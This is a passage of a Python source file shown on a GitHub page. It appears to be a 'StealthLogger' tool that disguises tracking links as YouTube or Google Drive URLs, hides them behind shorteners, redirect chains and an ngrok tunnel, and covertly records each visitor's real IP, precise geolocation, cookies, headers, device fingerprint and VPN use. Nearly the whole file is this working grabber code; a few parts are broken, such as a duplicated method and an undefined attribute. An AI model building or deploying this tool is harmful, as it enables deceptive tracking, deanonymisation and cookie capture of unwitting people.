-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathGUI.py
More file actions
1845 lines (1633 loc) · 75.7 KB
/
GUI.py
File metadata and controls
1845 lines (1633 loc) · 75.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import tkinter as tk
from tkinter import ttk, messagebox
from flask import Flask, request, Response, redirect, jsonify
import threading
import requests
from datetime import datetime
import random
from pyngrok import ngrok, conf
import pyperclip
import uuid
import re
from urllib.parse import urljoin, urlparse
from werkzeug.middleware.proxy_fix import ProxyFix
from concurrent.futures import ThreadPoolExecutor
import socket
import netifaces
from scapy.all import *
import os
import aiohttp
import asyncio
import json
import socks
from sockshandler import SocksiPyHandler
import urllib3
from base64 import b64encode
import warnings
import time
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
app = Flask(__name__)
log_entries = []
from tunnel_manager import TunnelManager
class StealthLogger:
def __init__(self):
self.target_url = ""
self.tunnel = None
self.auth_token = ""
self.base_port = 5000
self.local_ip = self.get_local_ip()
self.public_url = None
self.local_server = None
self.bypass_port = 5000
self.server_port = 5000
self.network_ip = self.get_network_ip() # Get actual network IP
self.real_ip = self.get_real_public_ip()
self.dyndns_host = None # Store DynDNS hostname
self.server_port = 5000 # Fixed port for ngrok
self.settings_file = "phantom_settings.json"
self.load_settings()
self.server_running = False
self.local_server_port = random.randint(49152, 65535) # Use random high port
self.cloud_url = None
self.server_id = uuid.uuid4().hex[:8] # Unique server identifier
self.route_paths = ['/watch', '/stream', '/content', '/view']
self.templates = {
'youtube': {
'subdomain': f"www.youtube.com.watch-{uuid.uuid4().hex[:6]}",
'path': f"watch/premium/content/{uuid.uuid4().hex[:11]}",
'params': f"v={uuid.uuid4().hex[:11]}&feature=yts.{uuid.uuid4().hex[:8]}&ab_channel=OfficialContent_{random.randint(1000, 9999)}&t=0s"
},
'google': {
'subdomain': f"drive.google.com.secure-{uuid.uuid4().hex[:6]}",
'path': f"document/d/{uuid.uuid4().hex[:12]}/secure",
'params': f"authuser=0&export=download&id={uuid.uuid4().hex[:16]}&confirm=t&uuid={uuid.uuid4()}"
},
'drive': {
'subdomain': f"drive.google.com.share-{uuid.uuid4().hex[:6]}",
'path': f"file/d/{uuid.uuid4().hex[:12]}/view/stream",
'params': f"usp=share_link&confirm=true&uuid={uuid.uuid4()}&secure=1"
}
}
self.local_redirect = None
self.redirect_token = uuid.uuid4().hex[:16]
self.ngrok_tunnel = None
self.local_url = None
self.is_ngrok_active = False
self.route_id = uuid.uuid4().hex[:8]
self.local_port = random.randint(49152, 65535)
self.local_server_url = None # Store local server URL
self.session_token = uuid.uuid4().hex[:8] # For validating redirects
self.redirect_domains = [
'is.gd', 'bit.ly', 'tinyurl.com', 'cutt.ly',
'phantom-relay.up.railway.app', 'phantom-proxy.cyclic.app'
]
self.server_token = uuid.uuid4().hex[:8]
self.route_map = {} # Store URL mappings
self.url_shortener = 'https://tinyurl.com/api-create.php?url={}'
self.api_keys = {
'bitly': 'YOUR_BITLY_API_KEY',
'rebrandly': 'YOUR_REBRANDLY_API_KEY',
'cuttly': 'YOUR_CUTTLY_API_KEY',
'shortest': 'YOUR_SHORTEST_API_KEY'
}
self.redirect_chain = []
self.dyn_domains = {
'ddns.net': 'https://{}.ddns.net',
'hopto.org': 'https://{}.hopto.org',
'serveo.net': 'https://{}.serveo.net',
'localhost.run': 'https://{}.localhost.run'
}
self.current_domain = None
self.forwarding_chain = []
self.route_token = uuid.uuid4().hex[:8] # For route validation
self.error_count = 0 # Track error counts
self.visit_logs = [] # Store detailed visit logs
self.geo_api = 'http://ip-api.com/json/{}' # Free IP geolocation API
self.last_ips = set() # Track unique IPs
self.spoof_enabled = False # Add missing attribute
self.current_proxy = None # Add missing attribute
self.spoofed_host = None # Add missing attribute
self.stealth_domains = [
'bit.do', 'rebrand.ly', 'v.gd', 't.ly',
'tiny.one', 'zws.im', 'shorturl.at'
]
self.anti_detect_domains = {
'media': ['cdn.cloudflare.net', 'akamai.net', 'fastly.net'],
'corp': ['sharepoint.com', 'office.com', 'microsoft.com'],
'cloud': ['storage.googleapis.com', 's3.amazonaws.com']
}
self.valid_referers = [
'https://www.google.com',
'https://www.bing.com',
'https://www.youtube.com'
]
self.ip_apis = [
'https://api.ipify.org?format=json',
'https://api64.ipify.org/json',
'https://api.myip.com',
'https://ifconfig.me/all.json',
'https://api.techniknews.net/ip/'
]
self.network_apis = {
'router': 'http://192.168.1.1/info', # Common router IP
'gateway': 'http://router.local/status'
}
self.spoof_domains = {
'youtube': 'https://www.cut-link.pro/api/v1/create',
'drive': 'https://www.short-url.pro/api/v1/create',
'dropbox': 'https://www.link-mask.com/api/v1/create'
}
self.url_masking = {
'youtube': {
'domains': ['youtube-premium.com', 'youtube-studio.com', 'yt-creator.com'],
'paths': ['watch', 'studio', 'creator', 'premium'],
'params': ['v', 'list', 'index', 'feature', 't']
},
'google': {
'domains': ['google-drive.com', 'gdocs-share.com', 'gsuite-doc.com'],
'paths': ['view', 'share', 'file', 'folder'],
'params': ['id', 'usp', 'authuser']
}
}
self.advanced_tracking = {
'network': ['connection_type', 'bandwidth', 'latency', 'router_info'],
'device': ['gpu', 'cpu_cores', 'ram', 'battery', 'sensors'],
'location': ['timezone', 'language', 'region', 'carrier'],
'browser': ['plugins', 'localStorage', 'canvas', 'webgl']
}
# Add logs directory
self.logs_dir = "phantom_logs"
if not os.path.exists(self.logs_dir):
os.makedirs(self.logs_dir)
# Add smart tracking
self.smart_tracking = {
'hardware': ['gpu', 'cpu', 'ram', 'screen', 'battery'],
'software': ['os', 'browser', 'plugins', 'fonts'],
'network': ['type', 'speed', 'proxy', 'vpn'],
'device': ['model', 'brand', 'mobile', 'architecture']
}
self.vpn_signatures = {
'NordVPN': ['nord', 'tefincom', 'nordvpn'],
'ProtonVPN': ['proton', 'protonvpn']
}
self.vpn_detection_apis = [
'https://vpnapi.io/api/',
'https://proxycheck.io/v2/',
'https://iphub.info/api/',
'http://ip-api.com/json/'
]
self.ngrok_config = {
'authtoken': None, # Will be set later
'region': 'us',
'addr': 5000,
'proto': 'http'
}
self.tunnel_manager = TunnelManager()
self.url_shorteners = [
'https://tinyurl.com/api-create.php?url={}',
'https://is.gd/create.php?format=simple&url={}',
'https://v.gd/create.php?format=simple&url={}',
'https://clck.ru/--?url={}',
]
self.server_base_url = None # Store direct server URL
def get_local_ip(self):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('8.8.8.8', 1)) # Connect to Google DNS
local_ip = s.getsockname()[0]
except:
local_ip = '127.0.0.1'
finally:
s.close()
return local_ip
def get_network_ip(self):
# Get the actual network IP that others can reach
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# Doesn't need to be reachable
s.connect(('10.255.255.255', 1))
ip = s.getsockname()[0]
except Exception:
ip = '127.0.0.1'
finally:
s.close()
return ip
def get_real_public_ip(self):
try:
return requests.get('https://api.ipify.org?format=json').json()['ip']
except:
return "Unknown"
async def async_test_proxy(self, proxy):
try:
async with aiohttp.ClientSession() as session:
proxy_url = f"http://{proxy}"
async with session.get('https://api.ipify.org?format=json',
proxy=proxy_url, timeout=3) as response:
return await response.json(), proxy
except:
return None, proxy
def load_proxy_list(self):
working_proxies = []
# Create async event loop in separate thread
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
async def fetch_proxies():
tasks = []
for source in self.proxy_sources:
try:
async with aiohttp.ClientSession() as session:
async with session.get(source) as response:
proxies = await response.text()
proxy_list = proxies.strip().split('\n')
# Test proxies concurrently
tasks.extend([self.async_test_proxy(p) for p in proxy_list])
except:
continue
# Run all proxy tests concurrently
results = await asyncio.gather(*tasks, return_exceptions=True)
return [proxy for result, proxy in results if result]
working_proxies = loop.run_until_complete(fetch_proxies())
loop.close()
self.current_proxies = working_proxies
return len(working_proxies) > 0
def test_proxy(self, proxy):
try:
proxy_dict = {
'http': f'http://{proxy}',
'https': f'http://{proxy}'
}
test_url = 'http://httpbin.org/ip'
response = requests.get(test_url, proxies=proxy_dict, timeout=3)
return response.status_code == 200
except:
return False
def get_working_proxy(self):
if not self.current_proxies:
if not self.load_proxy_list():
return None
# Try proxies until one works
while self.current_proxies:
proxy = random.choice(self.current_proxies)
if self.test_proxy(proxy):
return f"http://{proxy}"
self.current_proxies.remove(proxy)
return None
def create_stealth_chain(self, url):
"""Create undetectable redirect chain"""
try:
# Generate convincing intermediary URLs
domain = random.choice(self.anti_detect_domains['cloud'])
cdn_domain = random.choice(self.anti_detect_domains['media'])
corp_domain = random.choice(self.anti_detect_domains['corp'])
# Create redirect chain through legitimate-looking domains
chain = [
f"https://{domain}/content/view?source={uuid.uuid4().hex[:8]}",
f"https://{cdn_domain}/delivery/content/{uuid.uuid4().hex[:12]}",
f"https://{corp_domain}/shared/view/{uuid.uuid4().hex[:16]}"
]
# Add our local server as final destination
chain.append(url)
self.redirect_chain = chain
return self.create_short_url(chain[0])
except:
return url
def generate_spoofed_url(self, service, server_url):
"""Generate direct server URL with shortening"""
if not self.server_running:
raise Exception("Server not running")
# Create shortened URL pointing directly to server
redirect_url = self.create_redirect_url(self.server_base_url)
# Store mapping for direct server access
track_id = urlparse(redirect_url).path.split('/')[-1]
self.route_map[track_id] = self.target_url
return redirect_url
def start_server(self):
"""Start server with global access"""
try:
if not self.target_url:
raise Exception("Target URL required")
# Start Flask server first
self.server_running = True
threading.Thread(target=self._run_server_with_retry, daemon=True).start()
time.sleep(2) # Wait for server to start
# Setup global access via ngrok
if not self.setup_global_access():
raise Exception("Failed to setup global access")
# Create public URL that redirects to target
return self.create_redirect_url(self.public_url)
except Exception as e:
self.server_running = False
raise e
def _run_server_with_retry(self):
"""Run Flask with proper settings"""
retries = 3
while retries > 0:
try:
app.run(
host='0.0.0.0', # Listen on all interfaces
port=self.server_port,
debug=False,
threaded=True,
use_reloader=False # Prevent duplicate servers
)
break
except Exception as e:
print(f"Server error: {str(e)}")
retries -= 1
time.sleep(2)
if retries == 0:
self.server_running = False
def load_settings(self):
try:
if os.path.exists(self.settings_file):
with open(self.settings_file, 'r') as f:
settings = json.load(f)
self.auth_token = settings.get('auth_token', '')
self.dyndns_host = settings.get('dyndns_host', '') # Add DynDNS loading
except:
self.auth_token = ''
self.dyndns_host = ''
def save_settings(self):
try:
settings = {
'auth_token': self.auth_token,
'dyndns_host': self.dyndns_host # Add DynDNS saving
}
with open(self.settings_file, 'w') as f:
json.dump(settings, f)
except:
pass
def create_short_url(self, url):
"""Create shortened URL using TinyURL"""
if not url:
return None
try:
response = requests.get(self.url_shortener.format(url))
if response.ok:
return response.text.strip()
except:
pass
return url
def get_ip_location(self, ip):
"""Get IP location info"""
try:
response = requests.get(self.geo_api.format(ip))
if response.ok:
data = response.json()
return {
'city': data.get('city', 'Unknown'),
'country': data.get('country', 'Unknown'),
'isp': data.get('isp', 'Unknown')
}
except:
pass
return {'city': 'Unknown', 'country': 'Unknown', 'isp': 'Unknown'}
def get_network_info(self):
"""Get detailed network info"""
try:
info = {}
# Get network interface info
for interface in netifaces.interfaces():
if netifaces.AF_INET in netifaces.ifaddresses(interface):
addr = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]
info['interface'] = interface
info['local_ip'] = addr['addr']
info['netmask'] = addr['netmask']
break
# Try to get router model/info
router_response = requests.get('http://192.168.1.1', timeout=1)
if router_response.ok:
info['router'] = router_response.headers.get('Server')
return info
except:
return {}
def create_spoofed_url(self, template, url):
"""Create undetectable spoofed URL"""
try:
api_url = self.spoof_domains[template]
# Create custom URL with domain spoofing
params = {
'url': url,
'domain': f"www.{template}.com",
'custom': True,
'path': 'watch' if template == 'youtube' else 'share',
'https': True
}
response = requests.post(api_url, json=params)
if response.ok:
return response.json()['url']
except:
return self.create_short_url(url)
def log_visit(self, request_data):
"""Enhanced data grabbing and tracking"""
try:
# Get real IP through multiple fallback methods
real_ip = (
request.headers.get('CF-Connecting-IP') or
request.headers.get('X-Real-IP') or
request.headers.get('X-Client-IP') or
request.headers.get('X-Forwarded-For', '').split(',')[0] or
request.headers.get('True-Client-IP') or
request.remote_addr
)
# Get enhanced location data from multiple APIs
location = {}
for api in [
f'http://ip-api.com/json/{real_ip}?fields=66846719', # All fields
f'https://ipapi.co/{real_ip}/json/',
f'https://ipwhois.app/json/{real_ip}',
f'https://freegeoip.app/json/{real_ip}',
f'https://extreme-ip-lookup.com/json/{real_ip}'
]:
try:
resp = requests.get(api, timeout=3).json()
if resp and not resp.get('error'):
location = {
'city': resp.get('city'),
'region': resp.get('regionName') or resp.get('region'),
'country': resp.get('country'),
'country_code': resp.get('countryCode'),
'continent': resp.get('continent'),
'isp': resp.get('isp') or resp.get('org'),
'asn': resp.get('as') or resp.get('asn'),
'organization': resp.get('org') or resp.get('organization'),
'lat': resp.get('lat') or resp.get('latitude'),
'lon': resp.get('lon') or resp.get('longitude'),
'timezone': resp.get('timezone'),
'zip': resp.get('zip') or resp.get('postal'),
'currency': resp.get('currency'),
'calling_code': resp.get('calling_code'),
'languages': resp.get('languages'),
'threat_data': {
'is_proxy': resp.get('proxy') or False,
'is_hosting': resp.get('hosting') or False,
'is_tor': resp.get('tor') or False,
'is_vpn': resp.get('vpn') or False,
'threat_level': resp.get('threat') or 'low',
'bot_status': resp.get('is_bot') or False
}
}
break
except:
continue
# Get detailed system info
system_info = {
'browser': {
'name': self.get_browser_from_ua(request_data.headers.get('User-Agent', '')),
'language': request_data.headers.get('Accept-Language'),
'encoding': request_data.headers.get('Accept-Encoding'),
'version': request_data.headers.get('Sec-CH-UA'),
'platform': request_data.headers.get('Sec-CH-UA-Platform'),
'mobile': request_data.headers.get('Sec-CH-UA-Mobile'),
'architecture': request_data.headers.get('Sec-CH-UA-Arch')
},
'headers': {
'origin': request_data.headers.get('Origin'),
'referer': request_data.headers.get('Referer'),
'host': request_data.headers.get('Host'),
'via': request_data.headers.get('Via'),
'forwarded': request_data.headers.get('Forwarded'),
'connection': request_data.headers.get('Connection')
},
'network': {
'remote_port': request.environ.get('REMOTE_PORT'),
'scheme': request.scheme,
'protocol': request.environ.get('SERVER_PROTOCOL'),
'method': request.method,
'content_type': request.content_type,
'proxy_info': bool(request.headers.get('Via') or request.headers.get('X-Forwarded-For')),
'connection_info': request.headers.get('Connection'),
'vpn_detected': self.detect_vpn(real_ip)
},
'security': {
'ssl_info': request.environ.get('HTTPS', 'off') == 'on',
'ssl_protocol': request.environ.get('SSL_PROTOCOL'),
'ssl_cipher': request.environ.get('SSL_CIPHER'),
'cors_origin': request.headers.get('Origin'),
'sec_fetch_site': request.headers.get('Sec-Fetch-Site'),
'sec_fetch_mode': request.headers.get('Sec-Fetch-Mode'),
'sec_fetch_dest': request.headers.get('Sec-Fetch-Dest')
}
}
# Build comprehensive log
log = {
'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
'request_id': uuid.uuid4().hex[:8],
'public_ip': real_ip,
'local_ip': request.remote_addr,
'location': location,
'system': system_info,
'request': {
'url': request.url,
'base_url': request.base_url,
'path': request.path,
'query_string': request.query_string.decode() if request.query_string else None,
'method': request.method,
'cookies': dict(request.cookies),
'headers': dict(request.headers)
},
'fingerprint': {
'hash': hash(str(request.headers)),
'signature': self.generate_fingerprint(request_data)
}
}
log_entries.append(log)
return log
except Exception as e:
print(f"Enhanced logging error: {str(e)}")
return self._fallback_log(request_data)
def generate_fingerprint(self, request_data):
"""Generate unique visitor fingerprint"""
components = [
request_data.headers.get('User-Agent', ''),
request_data.headers.get('Accept-Language', ''),
request_data.headers.get('Accept-Encoding', ''),
request_data.headers.get('Sec-CH-UA-Platform', ''),
str(request_data.headers.get('Sec-CH-UA-Mobile')),
request.remote_addr,
request.environ.get('HTTP_X_FORWARDED_FOR', ''),
str(request.environ.get('REMOTE_PORT')),
request.environ.get('HTTP_ACCEPT', '')
]
return hash(''.join(filter(None, components)))
def _fallback_log(self, request_data):
"""Fallback logging if main logging fails"""
return {
'timestamp': datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
'ip': request.remote_addr,
'user_agent': request_data.headers.get('User-Agent', 'Unknown'),
'headers': dict(request_data.headers)
}
def get_os_from_ua(self, ua):
"""Enhanced OS detection from User Agent"""
ua = ua.lower()
os_patterns = [
('windows 11', 'Windows 11'),
('windows 10', 'Windows 10'),
('windows nt 10', 'Windows 10'),
('windows nt 6.3', 'Windows 8.1'),
('windows nt 6.2', 'Windows 8'),
('windows nt 6.1', 'Windows 7'),
('windows nt 6.0', 'Windows Vista'),
('windows nt 5.1', 'Windows XP'),
('windows nt 5.0', 'Windows 2000'),
('mac os x', 'macOS'),
('iphone os', 'iOS'),
('android', 'Android'),
('linux', 'Linux'),
('ubuntu', 'Ubuntu Linux'),
('fedora', 'Fedora Linux'),
('debian', 'Debian Linux')
]
for pattern, name in os_patterns:
if pattern in ua:
# Get version if available
if 'android' in pattern:
version = re.search(r'android\s+([0-9.]+)', ua)
if version:
return f"{name} {version.group(1)}"
elif 'mac os x' in pattern:
version = re.search(r'mac os x\s+([0-9_]+)', ua)
if version:
return f"{name} {version.group(1).replace('_', '.')}"
return name
return 'Unknown OS'
def parse_device_info(self, ua):
"""Enhanced device detection from User Agent"""
ua = ua.lower()
info = {'type': 'desktop', 'brand': 'Unknown', 'model': 'Unknown'}
# Mobile device detection
if any(x in ua for x in ['mobile', 'android', 'iphone', 'ipad', 'windows phone']):
info['type'] = 'mobile'
# Apple devices
if 'iphone' in ua:
info['brand'] = 'Apple'
version = re.search(r'iphone\s?(?:os\s)?(\d+)', ua)
info['model'] = f'iPhone {version.group(1) if version else ""}'.strip()
elif 'ipad' in ua:
info['brand'] = 'Apple'
version = re.search(r'ipad\s?(?:os\s)?(\d+)', ua)
info['model'] = f'iPad {version.group(1) if version else ""}'.strip()
info['type'] = 'tablet'
# Samsung devices
elif 'samsung' in ua or 'sm-' in ua:
info['brand'] = 'Samsung'
model = re.search(r'(sm-[a-z0-9]+)', ua)
if model:
info['model'] = model.group(1).upper()
# Other Android devices
elif 'android' in ua:
# Common Android manufacturers
brands = {
'pixel': 'Google',
'huawei': 'Huawei',
'oneplus': 'OnePlus',
'xiaomi': 'Xiaomi',
'oppo': 'OPPO',
'vivo': 'Vivo',
'lg': 'LG',
'motorola': 'Motorola',
'nokia': 'Nokia'
}
for brand_key, brand_name in brands.items():
if brand_key in ua:
info['brand'] = brand_name
model = re.search(rf'{brand_key}\s([a-z0-9]+)', ua)
if model:
info['model'] = model.group(1).upper()
break
# Desktop/Laptop detection
else:
manufacturers = {
'macintosh': 'Apple',
'mac': 'Apple',
'windows': 'PC',
'linux': 'PC'
}
for key, brand in manufacturers.items():
if key in ua:
info['brand'] = brand
if brand == 'Apple':
info['model'] = 'MacBook/iMac'
break
return info
def get_browser_from_ua(self, ua):
"""Enhanced browser detection"""
ua = ua.lower()
browsers = {
'edge': {
'name': 'Microsoft Edge',
'pattern': r'edge/(\d+)'
},
'chrome': {
'name': 'Google Chrome',
'pattern': r'chrome/(\d+)'
},
'firefox': {
'name': 'Firefox',
'pattern': r'firefox/(\d+)'
},
'safari': {
'name': 'Safari',
'pattern': r'safari/(\d+)'
},
'opera': {
'name': 'Opera',
'pattern': r'opr/(\d+)'
},
'brave': {
'name': 'Brave',
'pattern': r'brave/(\d+)'
}
}
for key, browser in browsers.items():
if key in ua:
version = re.search(browser['pattern'], ua)
if version:
return f"{browser['name']} {version.group(1)}"
return browser['name']
return 'Unknown Browser'
def create_masked_url(self, template, target_url):
"""Create untraceable custom URL"""
try:
# Generate unique tracking ID
track_id = f"{uuid.uuid4().hex[:6]}-{random.randint(10000,99999)}"
# Pick random domain variation
domain = random.choice(self.url_masking[template]['domains'])
path = random.choice(self.url_masking[template]['paths'])
# Create convincing URL structure
if template == 'youtube':
url = f"https://{domain}/{path}?v={track_id}&t=0s&feature=premium"
else:
url = f"https://{domain}/{path}/{track_id}/view?usp=sharing"
# Store mapping
self.route_map[track_id] = {
'target': target_url,
'created': datetime.now().timestamp(),
'template': template
}
return url
except:
return target_url
def collect_advanced_data(self, request_data):
"""Collect comprehensive system/network data"""
data = {}
try:
# Get detailed network info
connection = request_data.headers.get('Connection-Type', '')
downlink = request_data.headers.get('Downlink', '')
rtt = request_data.headers.get('RTT', '')
router_info = self.get_network_info()
carrier = request_data.headers.get('Carrier', '')
data['network'] = {
'connection': connection,
'speed': downlink,
'latency': rtt,
'router': router_info.get('router'),
'carrier': carrier,
'interface': router_info.get('interface')
}
# Get precise location
location = self.get_ip_location(request_data.remote_addr)
data['location'] = {
'city': location.get('city'),
'region': location.get('region') or location.get('regionName'),
'country': location.get('country') or location.get('country_name'),
'timezone': location.get('timezone'),
'coordinates': location.get('loc'),
'accuracy': location.get('accuracy')
}
return data
except:
return {}
def get_system_fingerprint(self, request_data):
"""Get detailed system information"""
try:
user_agent = request_data.headers.get('User-Agent', '')
platform = request_data.user_agent.platform if request_data.user_agent else ''
# Parse user agent deeply
browser_info = self.get_browser_from_ua(user_agent)
os_info = self.get_os_from_ua(user_agent)
device_info = self.parse_device_info(user_agent)
# Get network details
connection = request_data.headers.get('Connection-Type', '')
downlink = request_data.headers.get('Downlink', '')
return {
'browser': {
'name': browser_info,
'language': request_data.headers.get('Accept-Language', ''),
'plugins': len(request_data.headers.get('Sec-CH-UA-Platform', '').split(',')),
},
'os': {
'name': os_info,
'platform': platform,
'architecture': request_data.headers.get('Sec-CH-UA-Arch', '')
},
'device': {
'type': device_info.get('type', 'desktop'),
'brand': device_info.get('brand', ''),
'model': device_info.get('model', '')
},
'network': {
}
}
except:
return {}
def parse_device_info(self, ua):
"""Extract detailed device info from user agent"""
info = {'type': 'desktop', 'brand': 'Unknown', 'model': 'Unknown'}
if 'Mobile' in ua:
info['type'] = 'mobile'
if 'iPhone' in ua:
info['brand'] = 'Apple'
info['model'] = 'iPhone'
elif 'Samsung' in ua:
info['brand'] = 'Samsung'
if 'SM-' in ua:
info['model'] = ua.split('SM-')[1].split(')')[0]
elif 'Tablet' in ua:
info['type'] = 'tablet'
return info
def detect_vpn(self, ip):
"""Enhanced VPN detection for ProtonVPN and NordVPN only"""
try:
vpn_data = {
'detected': False,
'provider': 'None',
'type': 'None'
}
# Check only these two VPN providers
for api in self.vpn_detection_apis:
try:
response = requests.get(f"{api}{ip}", timeout=3)
if response.ok:
data = response.text.lower()
# Check for NordVPN
if any(sig in data for sig in self.vpn_signatures['NordVPN']):
vpn_data['detected'] = True
vpn_data['provider'] = 'NordVPN'
break
# Check for ProtonVPN
elif any(sig in data for sig in self.vpn_signatures['ProtonVPN']):
vpn_data['detected'] = True
vpn_data['provider'] = 'ProtonVPN'
break
except:
continue
return vpn_data
except:
return {'detected': False, 'provider': 'Unknown', 'type': 'Unknown'}
def get_precise_location(self, ip):
"""Get detailed location data"""
try:
# Try multiple geolocation APIs for accuracy
apis = [
f'https://ipapi.co/{ip}/json/',
f'https://freegeoip.app/json/{ip}',
f'https://extreme-ip-lookup.com/json/{ip}',
f'http://ip-api.com/json/{ip}'
]
for api in apis:
try:
response = requests.get(api, timeout=3)
if response.ok:
data = response.json()
return {
'city': data.get('city'),
'region': data.get('region') or data.get('regionName'),
'country': data.get('country') or data.get('country_name'),
'postal': data.get('zip') or data.get('postal'),
'latitude': data.get('lat') or data.get('latitude'),
'longitude': data.get('lon') or data.get('longitude'),
'isp': data.get('isp') or data.get('org'),
'org': data.get('org') or data.get('organization'),
'timezone': data.get('timezone'),
'asn': data.get('as') or data.get('asn')
}
except:
continue
return None
except:
return None
def setup_global_access(self):
"""Setup global access to local server"""
try:
# Configure ngrok for port forwarding
if self.auth_token:
ngrok.set_auth_token(self.auth_token)
# Connect local server port to ngrok
tunnel = ngrok.connect(
f"http://localhost:{self.server_port}",
"http"
)
# Store ngrok URLs
self.public_url = tunnel.public_url
self.local_url = f"http://localhost:{self.server_port}"
self.tunnel = tunnel
print(f"Server accessible at: {self.public_url}")
return True
except Exception as e:
print(f"Error setting up server access: {str(e)}")
return False
def create_redirect_url(self, server_url):
"""Create shortened URL that redirects to public server"""
try:
# Generate unique path
path_id = uuid.uuid4().hex[:8]
# Store target mapping
self.route_map[path_id] = self.target_url
# Create trackable URL using public ngrok URL
track_url = f"{self.public_url}/r/{path_id}"
# Create shortened URL
for shortener in self.url_shorteners:
try:
response = requests.get(shortener.format(track_url), timeout=5)
if response.ok:
return response.text.strip()
except:
continue
return track_url
except:
return server_url
def save_logs(self):
"""Enhanced log saving with complete data capture"""
try:
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
filename = f"phantom_logs_{timestamp}.txt"
filepath = os.path.join(self.logs_dir, filename)
# Create detailed stats
unique_ips = len(set(entry.get('public_ip') for entry in log_entries if entry.get('public_ip')))